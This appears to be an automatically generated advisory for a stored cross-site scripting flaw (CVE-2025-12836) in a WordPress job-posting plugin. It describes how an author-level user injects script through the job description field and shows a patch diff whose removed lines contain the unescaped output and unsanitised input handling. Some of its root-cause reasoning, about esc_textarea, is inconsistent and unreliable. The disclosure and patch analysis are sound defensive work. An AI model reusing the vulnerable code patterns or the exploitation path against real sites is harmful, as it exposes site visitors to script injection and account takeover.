Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12836: VK Google Job Posting Manager <= 1.2.23 – Authenticated (Author+) Stored Cross-Site Scripting via Job Description Field (vk-google-job-posting-manager)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.2.23
Patched Version 1.2.24
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12836:
The VK Google Job Posting Manager WordPress plugin contains an authenticated stored cross-site scripting (XSS) vulnerability in versions up to and including 1.2.23. The vulnerability exists in the job description custom field, which lacks proper input sanitization and output escaping. Attackers with author-level permissions or higher can inject arbitrary JavaScript that executes when users view the compromised job posting pages.

Atomic Edge research identifies the root cause in the plugin’s custom field builder component. The `VK_Custom_Field_Builder::form_post_value()` method in `/inc/custom-field-builder/package/custom-field-builder.php` processes user input for textarea fields. In the vulnerable version, line 135 uses `esc_textarea($_POST[$post_field])` for sanitization, which only escapes HTML entities but does not strip script tags. The `vkjp_description` field configuration in `/inc/custom-field-builder/custom-field-builder-config.php` defines a textarea field without proper output escaping controls. The stored value is then rendered without adequate escaping in the frontend.

Exploitation requires an authenticated attacker with author privileges or higher. The attacker accesses the job posting editor, navigates to the custom fields metabox, and injects JavaScript payloads into the ‘Description’ field (parameter `vkjp_description`). When the job posting is saved, the malicious script persists in the post meta. The payload executes in the browser of any user who views the affected job posting page, typically through frontend templates that output the unescaped description field.

The patch addresses the vulnerability through multiple layered fixes. The `VK_Custom_Field_Builder` class adds a new `sanitize_field_value()` method that applies `wp_kses_post()` to textarea fields (line 408). The `form_post_value()` method now uses `wp_kses_post()` instead of `esc_textarea()` for textarea fields (line 135). The `vkjp_description` field configuration adds `’wysiwyg’ => true` (line 93), enabling WordPress’ built-in editor with proper sanitization. Output escaping is improved in `form_table()` with `wp_kses()` using `get_allowed_form_html()` (lines 349-350). The patch also adds nonce verification and proper escaping for admin interface elements.

Successful exploitation allows attackers with author-level access to execute arbitrary JavaScript in the context of authenticated users viewing job postings. This can lead to session hijacking, administrative account takeover, content manipulation, and malware distribution. The CVSS score of 6.4 reflects the need for author privileges but the high impact of stored XSS in a content management system.

Differential between vulnerable and patched code

Code Diff
--- a/vk-google-job-posting-manager/blocks/vk-google-job-posting-manager-block.php
+++ b/vk-google-job-posting-manager/blocks/vk-google-job-posting-manager-block.php
@@ -5,6 +5,9 @@
  *
  * @package vk-google-job-posting-manager
  */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Registers all block assets so that they can be enqueued through Gutenberg in
@@ -45,7 +48,8 @@
 		'vk-google-job-posting-manager-block-editor',
 		plugins_url( $index_js, __FILE__ ),
 		$asset_file['dependencies'],
-		$asset_file['version']
+		$asset_file['version'],
+		true
 	);

 	$editor_css = '/create-table/build/editor.css';
@@ -107,15 +111,15 @@
 /**
  * Add vk-block's category.
  */
-if ( ! function_exists( 'vkblocks_blocks_categories' ) ) {
-	function vkblocks_blocks_categories( $categories, $post ) {
+if ( ! function_exists( 'vgjpm_blocks_categories' ) ) {
+	function vgjpm_blocks_categories( $categories, $post ) {
 		if ( ! vgjpm_is_block_category_exist( $categories, 'vk-blocks-cat' ) ) {
 			$categories = array_merge(
 				$categories,
 				array(
 					array(
 						'slug'  => 'vk-blocks-cat',
-						'title' => apply_filters( 'vk_blocks_prefix', 'VK ' ) . __( 'Blocks', 'vk-blocks' ),
+						'title' => apply_filters( 'vgjpm_blocks_prefix', 'VK ' ) . __( 'Blocks', 'vk-google-job-posting-manager' ),
 						'icon'  => '<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path fill="none" d="M0 0h24v24H0V0z" /><path d="M19 13H5v-2h14v2z" /></svg>',
 					),
 				)
@@ -125,9 +129,9 @@
 	}
 	// ver5.8.0 block_categories_all
 	if ( function_exists( 'get_default_block_categories' ) && function_exists( 'get_block_editor_settings' ) ) {
-		add_filter( 'block_categories_all', 'vkblocks_blocks_categories', 10, 2 );
+		add_filter( 'block_categories_all', 'vgjpm_blocks_categories', 10, 2 );
 	} else {
-		add_filter( 'block_categories', 'vkblocks_blocks_categories', 10, 2 );
+		add_filter( 'block_categories', 'vgjpm_blocks_categories', 10, 2 );
 	}
 }

--- a/vk-google-job-posting-manager/functions-tags.php
+++ b/vk-google-job-posting-manager/functions-tags.php
@@ -8,6 +8,9 @@
 vgjpm_image_filter_id_to_url();
 vgjpm_sanitize_arr();
 */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 function vgjpm_create_jobpost_posttype() {
 	$list          = '<ul>';
@@ -59,7 +62,7 @@
 	}

 	if ( isset( $post->post_date ) ) {
-		$custom_fields['vkjp_datePosted'] = date( 'Y-m-d', strtotime( $post->post_date ) );
+		$custom_fields['vkjp_datePosted'] = gmdate( 'Y-m-d', strtotime( $post->post_date ) );
 	}

 	// Sanitize text-based fields for consistency.
@@ -98,7 +101,7 @@

 	foreach ( $default_custom_fields as $key => $value ) {

-		$options = vkjpm_get_common_field_options();
+		$options = vgjpm_get_common_field_options();

 		$custom_fields = vgjpm_image_filter_id_to_url( $custom_fields, $key, $options );

--- a/vk-google-job-posting-manager/inc/custom-field-builder/custom-field-builder-config.php
+++ b/vk-google-job-posting-manager/inc/custom-field-builder/custom-field-builder-config.php
@@ -5,6 +5,9 @@
   Load modules
 /*
 -------------------------------------------*/
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 // autoloadを読み込む
 require dirname( dirname( dirname( __FILE__ ) ) ) . '/vendor/autoload.php';

@@ -12,8 +15,8 @@
 	require_once dirname( __FILE__ ) . '/package/custom-field-builder.php';
 }

-global $custom_field_builder_url;
-$custom_field_builder_url = plugin_dir_url( __FILE__ ) . 'package/';
+global $vgjpm_custom_field_builder_url;
+$vgjpm_custom_field_builder_url = plugin_dir_url( __FILE__ ) . 'package/';

 class VGJPM_Custom_Field_Job_Post extends VK_Custom_Field_Builder {

@@ -56,11 +59,11 @@
 		global $post;
 		$custom_fields_array = self::custom_fields_array();
 		$befor_custom_fields = '';
-		$field_options = vkjpm_get_common_field_options();
+		$field_options = vgjpm_get_common_field_options();
 		echo '<ul>';
-		echo '<li>' . __( 'Please fill in recruitment information for Google Job Posting.', 'vk-google-job-posting-manager' ) . '</li>';
-		echo '<li>' . __( 'If you do not fill in this form that, common settings will apply.', 'vk-google-job-posting-manager' ) . ' [ <a href="' . admin_url() . 'options-general.php?page=vgjpm_settings" target="_blank">' . __( 'Common Settings', 'vk-google-job-posting-manager' ) . '</a> ]</li>';
-		echo '<li>' . __( 'If you want to display these items table to publish page, you use to the Job Posting Block set to content area.', 'vk-google-job-posting-manager' ) . '</li>';
+		echo '<li>' . esc_html__( 'Please fill in recruitment information for Google Job Posting.', 'vk-google-job-posting-manager' ) . '</li>';
+		echo '<li>' . esc_html__( 'If you do not fill in this form that, common settings will apply.', 'vk-google-job-posting-manager' ) . ' [ <a href="' . esc_url( admin_url( 'options-general.php?page=vgjpm_settings' ) ) . '" target="_blank" rel="noopener noreferrer">' . esc_html__( 'Common Settings', 'vk-google-job-posting-manager' ) . '</a> ]</li>';
+		echo '<li>' . esc_html__( 'If you want to display these items table to publish page, you use to the Job Posting Block set to content area.', 'vk-google-job-posting-manager' ) . '</li>';
 		echo '</ul>';
 		self::form_table( $custom_fields_array, $befor_custom_fields, true, $field_options );
 	}
@@ -74,7 +77,7 @@
 			$name   = $currency_list[ $key ]['name'];
 			$alpha3 = $currency_list[ $key ]['alpha3'];

-			$currency_options[ $alpha3 ] = __( $name, 'vk-google-job-posting-manager' );
+			$currency_options[ $alpha3 ] = $name;
 		}

 		$custom_fields_array = array(
@@ -87,6 +90,7 @@
 			'vkjp_description'                        => array(
 				'label'       => __( 'Description', 'vk-google-job-posting-manager' ),
 				'type'        => 'textarea',
+				'wysiwyg'     => true,
 				'description' => __( 'Please enter specific description of the job by HTML. You can use the templates from  <a href="https://www.vektor-inc.co.jp/service/wordpress-plugins/vk-google-jog-posting-manager/#vk-google-job-template" target="_blank">here</a>.', 'vk-google-job-posting-manager' ),
 				'required'    => true,
 			),
@@ -118,7 +122,7 @@
 			'vkjp_currency'                           => array(
 				'label'       => __( 'Currency', 'vk-google-job-posting-manager' ),
 				'type'        => 'select',
-				'options'     => apply_filters( 'vkjp_currency_options', $currency_options ),
+				'options'     => apply_filters( 'vgjpm_currency_options', $currency_options ),
 				'description' => __( 'Example : Japanese Yen', 'vk-google-job-posting-manager' ),
 				'required'    => false,
 			),
--- a/vk-google-job-posting-manager/inc/custom-field-builder/package/custom-field-builder.php
+++ b/vk-google-job-posting-manager/inc/custom-field-builder/package/custom-field-builder.php
@@ -7,6 +7,9 @@
 編集権限を持っていない方で何か修正要望などありましたら
 各プラグインのリポジトリにプルリクエストで結構です。
 */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 if ( ! class_exists( 'VK_Custom_Field_Builder' ) ) {

@@ -20,8 +23,8 @@
 		}

 		static function admin_directory_url() {
-			global $custom_field_builder_url; // configファイルで指定
-			$direcrory_url = $custom_field_builder_url;
+			global $vgjpm_custom_field_builder_url; // configファイルで指定
+			$direcrory_url = $vgjpm_custom_field_builder_url;
 			return $direcrory_url;
 		}

@@ -38,7 +41,21 @@
 			// media_uploader.js は、メディアアップローダーを使うためのjs
 			// Post Author Display と干渉するのでプロフィール画面では読み込まない
 			$media_uploader_exclude = array( 'profile.php' );
-			$media_uploader_exclude = apply_filters( 'cfb_media_uploader_exclude', $media_uploader_exclude );
+			if ( has_filter( 'cfb_media_uploader_exclude' ) ) {
+				if ( function_exists( 'apply_filters_deprecated' ) ) {
+					// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Back-compat for legacy hook.
+					$media_uploader_exclude = apply_filters_deprecated(
+						'cfb_media_uploader_exclude',
+						array( $media_uploader_exclude ),
+						self::$version,
+						'vgjpm_cfb_media_uploader_exclude'
+					);
+				} else {
+					// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Back-compat for legacy hook.
+					$media_uploader_exclude = apply_filters( 'cfb_media_uploader_exclude', $media_uploader_exclude );
+				}
+			}
+			$media_uploader_exclude = apply_filters( 'vgjpm_cfb_media_uploader_exclude', $media_uploader_exclude );
 			if ( ! in_array( $hook_suffix, $media_uploader_exclude, true ) ) {
 				wp_enqueue_script( 'vk_mediauploader', self::admin_directory_url() . 'js/mediauploader.js', array( 'jquery' ), self::$version, true );
 				wp_localize_script(
@@ -49,10 +66,24 @@
 					)
 				);
 			}
-
+
 			// flexible-table の js が NestedPagesのjsと干渉して正常に動かなくなるので、NestedPagesのページで読み込まないように.
 			$cfb_flexible_table_excludes = array( 'toplevel_page_nestedpages' );
-			$cfb_flexible_table_excludes = apply_filters( 'cfb_flexible_table_excludes', $cfb_flexible_table_excludes );
+			if ( has_filter( 'cfb_flexible_table_excludes' ) ) {
+				if ( function_exists( 'apply_filters_deprecated' ) ) {
+					// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Back-compat for legacy hook.
+					$cfb_flexible_table_excludes = apply_filters_deprecated(
+						'cfb_flexible_table_excludes',
+						array( $cfb_flexible_table_excludes ),
+						self::$version,
+						'vgjpm_cfb_flexible_table_excludes'
+					);
+				} else {
+					// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Back-compat for legacy hook.
+					$cfb_flexible_table_excludes = apply_filters( 'cfb_flexible_table_excludes', $cfb_flexible_table_excludes );
+				}
+			}
+			$cfb_flexible_table_excludes = apply_filters( 'vgjpm_cfb_flexible_table_excludes', $cfb_flexible_table_excludes );

 			if ( ! in_array( $hook_suffix, $cfb_flexible_table_excludes, true ) ) {
 				wp_enqueue_script( 'flexible-table', self::admin_directory_url() . 'js/flexible-table.js', array( 'jquery', 'jquery-ui-sortable' ), self::$version, true );
@@ -62,7 +93,21 @@

 			// Contact form 7 など jQuery ui のクラス名を使っていて干渉するので除外 .
 			$cfb_jquery_ui_excludes = array( 'toplevel_page_wpcf7', 'toplevel_page_gf_edit_forms' );
-			$cfb_jquery_ui_excludes = apply_filters( 'cfb_jquery_ui_excludes', $cfb_jquery_ui_excludes );
+			if ( has_filter( 'cfb_jquery_ui_excludes' ) ) {
+				if ( function_exists( 'apply_filters_deprecated' ) ) {
+					// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Back-compat for legacy hook.
+					$cfb_jquery_ui_excludes = apply_filters_deprecated(
+						'cfb_jquery_ui_excludes',
+						array( $cfb_jquery_ui_excludes ),
+						self::$version,
+						'vgjpm_cfb_jquery_ui_excludes'
+					);
+				} else {
+					// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Back-compat for legacy hook.
+					$cfb_jquery_ui_excludes = apply_filters( 'cfb_jquery_ui_excludes', $cfb_jquery_ui_excludes );
+				}
+			}
+			$cfb_jquery_ui_excludes = apply_filters( 'vgjpm_cfb_jquery_ui_excludes', $cfb_jquery_ui_excludes );
 			if ( ! in_array( $hook_suffix, $cfb_jquery_ui_excludes, true ) ) {
 				wp_enqueue_style( 'cf-builder-jquery-ui-style', self::admin_directory_url() . 'css/jquery-ui.css', array( 'cf-builder-style' ), self::$version, 'all' );
 			}
@@ -72,12 +117,21 @@
 			$value = '';
 			global $post;
 			$value = esc_attr( get_post_meta( $post->ID, $post_field, true ) );
-			if ( isset( $_POST[ $post_field ] ) && $_POST[ $post_field ] ) {
+			$posted_value = null;
+			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Value is sanitized below.
+			if ( isset( $_POST[ $post_field ] ) ) {
+				$posted_value = wp_unslash( $_POST[ $post_field ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized below.
+			}
+			if ( isset( $_POST['noncename__fields'] ) && null !== $posted_value ) {
+				$noncename__fields = sanitize_text_field( wp_unslash( $_POST['noncename__fields'] ) );
+				if ( ! wp_verify_nonce( $noncename__fields, wp_create_nonce( __FILE__ ) ) ) {
+					return $value;
+				}
 				if ( isset( $type ) && $type == 'textarea' ) {
 					// n2brはフォームにbrがそのまま入ってしまうので入れない
-					$value = esc_textarea( $_POST[ $post_field ] );
+					$value = wp_kses_post( $posted_value );
 				} else {
-					$value = esc_attr( $_POST[ $post_field ] );
+					$value = esc_attr( $posted_value );
 				}
 			}
 			return $value;
@@ -98,7 +152,7 @@
 			wp_nonce_field( wp_create_nonce( __FILE__ ), 'noncename__fields' );

 			global $post;
-			global $custom_field_builder_url;
+			global $vgjpm_custom_field_builder_url;

 			$form_html = '';

@@ -125,7 +179,7 @@
 						$post_value = $options[ $key ];
 					}

-					$form_html .= '<input class="form-control" type="text" id="' . $key . '" name="' . $key . '" value="' . $post_value . '" size="70">';
+					$form_html .= '<input class="form-control" type="text" id="' . esc_attr( $key ) . '" name="' . esc_attr( $key ) . '" value="' . esc_attr( $post_value ) . '" size="70">';

 					if ( isset( $value['after_text'] ) && $value['after_text'] ) {
 						$form_html .= ' ' . esc_html( $value['after_text'] );
@@ -139,7 +193,7 @@
 						$post_value = $options[ $key ];
 					}

-					$form_html .= '<input class="form-control datepicker" type="text" id="' . $key . '" name="' . $key . '" value="' . $post_value . '" size="70">';
+					$form_html .= '<input class="form-control datepicker" type="text" id="' . esc_attr( $key ) . '" name="' . esc_attr( $key ) . '" value="' . esc_attr( $post_value ) . '" size="70">';

 				} elseif ( $value['type'] == 'textarea' ) {

@@ -150,10 +204,29 @@
 						$post_value = $options[ $key ];
 					}

-					$form_html .= '<textarea class="form-control" class="cf_textarea_wysiwyg" name="' . $key . '" cols="70" rows="3">' . $post_value . '</textarea>';
+					if ( isset( $value['wysiwyg'] ) && $value['wysiwyg'] ) {
+						ob_start();
+						wp_editor(
+							$post_value,
+							$key,
+							array(
+								'textarea_name' => $key,
+								'textarea_rows' => 10,
+								'media_buttons' => false,
+								'tinymce'       => false,
+								'teeny'         => true,
+								'quicktags'     => false,
+							)
+						);
+						$form_html .= ob_get_clean();
+					} else {
+						$textarea_value = wp_kses_post( $post_value );
+						$textarea_value = str_ireplace( '</textarea>', '</textarea>', $textarea_value );
+						$form_html .= '<textarea class="form-control cf_textarea_wysiwyg" name="' . esc_attr( $key ) . '" cols="70" rows="3">' . $textarea_value . '</textarea>';
+					}

 				} elseif ( $value['type'] == 'select' ) {
-					$form_html .= '<select id="' . $key . '" class="form-control" name="' . $key . '"  >';
+					$form_html .= '<select id="' . esc_attr( $key ) . '" class="form-control" name="' . esc_attr( $key ) . '"  >';

 					foreach ( $value['options'] as $option_value => $option_label ) {
 						if ( self::form_post_value( $key ) == $option_value ) {
@@ -214,17 +287,17 @@
 						if ( is_array( $thumb_image ) && ! empty( $thumb_image[0] ) ) {
 							$thumb_image_url = $thumb_image[0];
 						} else {
-							$thumb_image_url = $custom_field_builder_url . 'images/no_image.png';
+							$thumb_image_url = $vgjpm_custom_field_builder_url . 'images/no_image.png';
 						}
 					} elseif ( ! empty( $options[ $key ] ) ) {
 						$thumb_image = wp_get_attachment_image_src( $options[ $key ], 'medium', false );
 						if ( is_array( $thumb_image ) && ! empty( $thumb_image[0] ) ) {
 							$thumb_image_url = $thumb_image[0];
 						} else {
-							$thumb_image_url = $custom_field_builder_url . 'images/no_image.png';
+							$thumb_image_url = $vgjpm_custom_field_builder_url . 'images/no_image.png';
 						}
 					} else {
-						$thumb_image_url = $custom_field_builder_url . 'images/no_image.png';
+						$thumb_image_url = $vgjpm_custom_field_builder_url . 'images/no_image.png';
 					}

 					$post_value = '';
@@ -234,20 +307,20 @@
 						$post_value = $options[ $key ];
 					}
 					// ダミー & プレビュー画像
-					$form_html .= '<img src="' . $thumb_image_url . '" id="thumb_' . $key . '" alt="" class="input_thumb" style="width:200px;height:auto;"> ';
+					$form_html .= '<img src="' . esc_url( $thumb_image_url ) . '" id="thumb_' . esc_attr( $key ) . '" alt="" class="input_thumb" style="width:200px;height:auto;"> ';

 					// 実際に送信する値
-					$form_html .= '<input type="hidden" name="' . $key . '" id="' . $key . '" value="' . $post_value . '" style="width:60%;" />';
+					$form_html .= '<input type="hidden" name="' . esc_attr( $key ) . '" id="' . esc_attr( $key ) . '" value="' . esc_attr( $post_value ) . '" style="width:60%;" />';

 					// 画像選択ボタン
 					// .media_btn がトリガーでメディアアップローダーが起動する
 					// id名から media_ を削除した id 名の input 要素に返り値が反映される。
 					// id名が media_src_ で始まる場合はURLを返す
-					$form_html .= '<button id="media_' . $key . '" class="cfb_media_btn btn btn-default button button-default">' . __( 'Choose Image', 'vk-google-job-posting-manager' ) . '</button> ';
+					$form_html .= '<button type="button" id="media_' . esc_attr( $key ) . '" class="cfb_media_btn btn btn-default button button-default">' . esc_html__( 'Choose Image', 'vk-google-job-posting-manager' ) . '</button> ';

 					// 削除ボタン
 					// ボタンタグだとその場でページが再読込されてしまうのでaタグに変更
-					$form_html .= '<a id="media_reset_' . $key . '" class="media_reset_btn btn btn-default button button-default">' . __( 'Delete Image', 'vk-google-job-posting-manager' ) . '</a>';
+					$form_html .= '<a id="media_reset_' . esc_attr( $key ) . '" class="media_reset_btn btn btn-default button button-default">' . esc_html__( 'Delete Image', 'vk-google-job-posting-manager' ) . '</a>';

 				} elseif ( 'file' === $value['type'] ) {

@@ -258,10 +331,10 @@
 						$post_value = $options[ $key ];
 					}

-					$form_html .= '<input name="' . $key . '" id="' . $key . '" value="' . $post_value . '" style="width:60%;" />
-<button id="media_src_' . $key . '" class="cfb_media_btn btn btn-default button button-default">' . __( 'Select file', 'vk-google-job-posting-manager' ) . '</button> ';
+					$form_html .= '<input name="' . esc_attr( $key ) . '" id="' . esc_attr( $key ) . '" value="' . esc_attr( $post_value ) . '" style="width:60%;" />
+<button type="button" id="media_src_' . esc_attr( $key ) . '" class="cfb_media_btn btn btn-default button button-default">' . esc_html__( 'Select file', 'vk-google-job-posting-manager' ) . '</button> ';
 					if ( $post_value ) {
-						$form_html .= '<a href="' . esc_url( $post_value ) . '" target="_blank" class="btn btn-default button button-default">' . __( 'View file', 'vk-google-job-posting-manager' ) . '</a>';
+						$form_html .= '<a href="' . esc_url( $post_value ) . '" target="_blank" rel="noopener noreferrer" class="btn btn-default button button-default">' . esc_html__( 'View file', 'vk-google-job-posting-manager' ) . '</a>';
 					}
 				}
 				if ( $value['description'] ) {
@@ -273,10 +346,10 @@
 			$form_html .= '</div>';
 			if ( $echo ) {
 				wp_enqueue_media();
-				echo $form_html;
+				echo wp_kses( $form_html, self::get_allowed_form_html() );
 			} else {
 				wp_enqueue_media();
-				return $form_html;
+				return wp_kses( $form_html, self::get_allowed_form_html() );
 			}
 		} // public static function form_table( $custom_fields_array, $befor_items, $echo = true ){

@@ -290,7 +363,7 @@
 			global $post;

 			// 設定したnonce を取得(CSRF対策)
-			$noncename__fields = isset( $_POST['noncename__fields'] ) ? $_POST['noncename__fields'] : null;
+			$noncename__fields = isset( $_POST['noncename__fields'] ) ? sanitize_text_field( wp_unslash( $_POST['noncename__fields'] ) ) : null;

 			// nonce を確認し、値が書き換えられていれば、何もしない(CSRF対策)
 			if ( ! wp_verify_nonce( $noncename__fields, wp_create_nonce( __FILE__ ) ) ) {
@@ -299,11 +372,17 @@

 			// 自動保存ルーチンかどうかチェック。そうだった場合は何もしない(記事の自動保存処理として呼び出された場合の対策)
 			if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
-				return $post_id; }
+				return;
+			}

 			foreach ( $custom_fields_array as $key => $value ) {

-				$field_value = ( isset( $_POST[ $key ] ) ) ? $_POST[ $key ] : '';
+				$field_value = null;
+				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Value is sanitized below.
+				if ( isset( $_POST[ $key ] ) ) {
+					$field_value = wp_unslash( $_POST[ $key ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized below.
+				}
+				$field_value = self::sanitize_field_value( $field_value, $value );

 				// データが空だったら入れる
 				if ( get_post_meta( $post->ID, $key ) == '' ) {
@@ -317,6 +396,66 @@
 				}
 			} // foreach ($custom_fields_all_array as $key => $value) {
 		}
+
+		private static function sanitize_field_value( $field_value, $field_config ) {
+			if ( is_array( $field_value ) ) {
+				return array_map( 'sanitize_text_field', $field_value );
+			}
+
+			if ( ! isset( $field_config['type'] ) ) {
+				return sanitize_text_field( $field_value );
+			}
+
+			switch ( $field_config['type'] ) {
+				case 'textarea':
+					return wp_kses_post( $field_value );
+				case 'url':
+					return esc_url_raw( $field_value );
+				default:
+					return sanitize_text_field( $field_value );
+			}
+		}
+
+		private static function get_allowed_form_html() {
+			return array(
+				'div'    => array( 'class' => true, 'id' => true, 'style' => true ),
+				'p'      => array(),
+				'br'     => array(),
+				'strong' => array(),
+				'em'     => array(),
+				'table'  => array( 'class' => true ),
+				'thead'  => array(),
+				'tbody'  => array( 'class' => true ),
+				'tr'     => array( 'class' => true ),
+				'th'     => array( 'class' => true ),
+				'td'     => array( 'class' => true ),
+				'label'  => array(),
+				'ul'     => array(),
+				'li'     => array( 'style' => true ),
+				'span'   => array( 'class' => true ),
+				'input'  => array(
+					'type'  => true,
+					'name'  => true,
+					'id'    => true,
+					'class' => true,
+					'value' => true,
+					'size'  => true,
+					'checked' => true,
+					'style' => true,
+				),
+				'textarea' => array(
+					'name'  => true,
+					'class' => true,
+					'cols'  => true,
+					'rows'  => true,
+				),
+				'select' => array( 'id' => true, 'name' => true, 'class' => true ),
+				'option' => array( 'value' => true, 'selected' => true ),
+				'button' => array( 'id' => true, 'class' => true, 'type' => true ),
+				'img'    => array( 'src' => true, 'id' => true, 'alt' => true, 'class' => true, 'style' => true ),
+				'a'      => array( 'href' => true, 'target' => true, 'class' => true, 'rel' => true, 'id' => true ),
+			);
+		}
 	} // class Vk_custom_field_builder

 	VK_Custom_Field_Builder::init();
--- a/vk-google-job-posting-manager/inc/custom-field-builder/package/custom-field-flexible-table.php
+++ b/vk-google-job-posting-manager/inc/custom-field-builder/package/custom-field-flexible-table.php
@@ -10,6 +10,9 @@
 /*
 * 項目変動・多行のカスタムフィールド
 */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 class VK_Custom_Field_Builder_Flexible_Table {

@@ -128,7 +131,7 @@
 		$form_table .= '</tbody>';
 		$form_table .= '</table>';
 		$form_table .= '</div>';
-		echo $form_table;
+		echo wp_kses( $form_table, self::get_allowed_form_html() );
 	}

 	/**
@@ -143,7 +146,7 @@

 		// 設定したnonce を取得(CSRF対策)
 		$nonce_name             = 'noncename__' . $custom_fields_array['field_name'];
-		$noncename__bill_fields = isset( $_POST[ $nonce_name ] ) ? $_POST[ $nonce_name ] : null;
+		$noncename__bill_fields = isset( $_POST[ $nonce_name ] ) ? sanitize_text_field( wp_unslash( $_POST[ $nonce_name ] ) ) : null;

 		// nonce を確認し、値が書き換えられていれば、何もしない(CSRF対策)
 		if ( ! wp_verify_nonce( $noncename__bill_fields, wp_create_nonce( __FILE__ ) ) ) {
@@ -156,7 +159,12 @@
 		}

 		$field       = $custom_fields_array['field_name'];
-		$field_value = ( isset( $_POST[ $field ] ) ) ? $_POST[ $field ] : '';
+		$field_value = null;
+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Value is sanitized below.
+		if ( isset( $_POST[ $field ] ) ) {
+			$field_value = wp_unslash( $_POST[ $field ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized below.
+		}
+		$field_value = self::sanitize_field_value( $field_value, $custom_fields_array['items'] );

 		// 配列の空の行を削除する
 		if ( is_array( $field_value ) ) {
@@ -176,6 +184,61 @@

 	}

+	private static function get_allowed_form_html() {
+		return array(
+			'div'    => array( 'class' => true ),
+			'table'  => array( 'class' => true ),
+			'thead'  => array(),
+			'tbody'  => array( 'class' => true ),
+			'tr'     => array(),
+			'th'     => array( 'class' => true ),
+			'td'     => array( 'class' => true ),
+			'span'   => array( 'class' => true ),
+			'input'  => array(
+				'type'  => true,
+				'class' => true,
+				'name'  => true,
+				'value' => true,
+				'id'    => true,
+				'size'  => true,
+			),
+			'textarea' => array(
+				'name'  => true,
+				'class' => true,
+				'cols'  => true,
+				'rows'  => true,
+			),
+			'select' => array( 'id' => true, 'name' => true, 'class' => true ),
+			'option' => array( 'value' => true, 'selected' => true ),
+		);
+	}
+
+	private static function sanitize_field_value( $value, $field_config = null ) {
+		if ( is_array( $value ) ) {
+			foreach ( $value as $key => $item ) {
+				$item_config   = null;
+				if ( is_array( $field_config ) && isset( $field_config[ $key ] ) ) {
+					$item_config = $field_config[ $key ];
+				} else {
+					$item_config = $field_config;
+				}
+				$value[ $key ] = self::sanitize_field_value( $item, $item_config );
+			}
+			return $value;
+		}
+
+		if ( is_array( $field_config ) && isset( $field_config['type'] ) ) {
+			switch ( $field_config['type'] ) {
+				case 'textarea':
+					return wp_kses_post( $value );
+				case 'url':
+					return esc_url_raw( $value );
+			}
+		}
+
+		return sanitize_text_field( $value );
+	}
+
 	/*
 	* 空の行が送られてきた場合に配列から削除するための関数
 	*/
--- a/vk-google-job-posting-manager/inc/custom-posttype-builder.php
+++ b/vk-google-job-posting-manager/inc/custom-posttype-builder.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 function vgjpm_job_post_init() {
 	register_post_type(
@@ -66,6 +69,15 @@
 	global $post;

 	$permalink = get_permalink( $post );
+	$revision_title = '';
+	// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Admin message only.
+	if ( isset( $_GET['revision'] ) ) {
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Admin message only.
+		$revision_id = absint( wp_unslash( $_GET['revision'] ) );
+		if ( $revision_id ) {
+			$revision_title = wp_post_revision_title( $revision_id, false );
+		}
+	}

 	$messages['job-posts'] = array(
 		0  => '', // Unused. Messages start at index 1.
@@ -74,17 +86,17 @@
 		2  => __( 'Custom field updated', 'vk-google-job-posting-manager' ),
 		3  => __( 'Custom field deleted', 'vk-google-job-posting-manager' ),
 		4  => __( 'Job posts updated', 'vk-google-job-posting-manager' ),
-		/* translators: %s: date and time of the revision */
-		5  => isset( $_GET['revision'] ) ? sprintf( __( 'Job posts restored to revision from %s', 'vk-google-job-posting-manager' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
+		/* translators: %s: revision title */
+		5  => $revision_title ? sprintf( __( 'Job posts restored to revision from %s', 'vk-google-job-posting-manager' ), $revision_title ) : false, // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Admin message only.
 		/* translators: %s: post permalink */
 		6  => sprintf( __( 'Job posts published <a href="%s">View job posts</a>', 'vk-google-job-posting-manager' ), esc_url( $permalink ) ),
 		7  => __( 'Job posts saved', 'vk-google-job-posting-manager' ),
 		/* translators: %s: post permalink */
 		8  => sprintf( __( 'Job posts submitted <a target="_blank" href="%s">Preview job posts</a>', 'vk-google-job-posting-manager' ), esc_url( add_query_arg( 'preview', 'true', $permalink ) ) ),
-		/* translators: 1: Publish box date format, see https://secure.php.net/date 2: Post permalink */
 		9  => sprintf(
+			/* translators: 1: Publish box date format, 2: Post permalink */
 			__( 'Job posts scheduled for: <strong>%1$s</strong>. <a target="_blank" href="%2$s">Preview job posts</a>', 'vk-google-job-posting-manager' ),
-			date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post->post_date ) ),
+			date_i18n( __( 'M j, Y @ G:i', 'vk-google-job-posting-manager' ), strtotime( $post->post_date ) ),
 			esc_url( $permalink )
 		),
 		/* translators: %s: post permalink */
--- a/vk-google-job-posting-manager/languages/index.php
